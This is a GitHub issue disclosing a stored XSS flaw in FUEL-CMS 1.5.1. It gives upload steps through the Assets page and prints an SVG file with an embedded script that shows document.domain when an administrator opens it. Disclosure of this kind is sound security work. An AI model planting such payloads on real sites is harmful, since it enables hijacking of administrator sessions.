FUEL-CMS icon indicating copy to clipboard operation
FUEL-CMS copied to clipboard

A stored cross-site scripting (XSS) vulnerability exists in FUEL-CMS-1.5.1

Open able403 opened this issue 3 years ago • 0 comments

A stored cross-site scripting (XSS) vulnerability exists in FUEL-CMS-1.5.1 that allows an authenticated user authorized to upload a malicious .svg file which acts as a stored XSS payload. If this stored XSS payload is triggered by an administrator it will trigger a XSS attack

  1. login as admin .in the Assets page image

  2. upload the malicious svg. the content of xss-cookie.svg :

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "
http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400
"/>
<script type="text/javascript">
alert(document.domain);
</script>
</svg>

image

  1. back to Assets then wo can see xss-cookie.svg have been upload: image

  2. when user click the xss-cookie.svg it will trigger a XSS attack image

able403 avatar Nov 29 '21 15:11 able403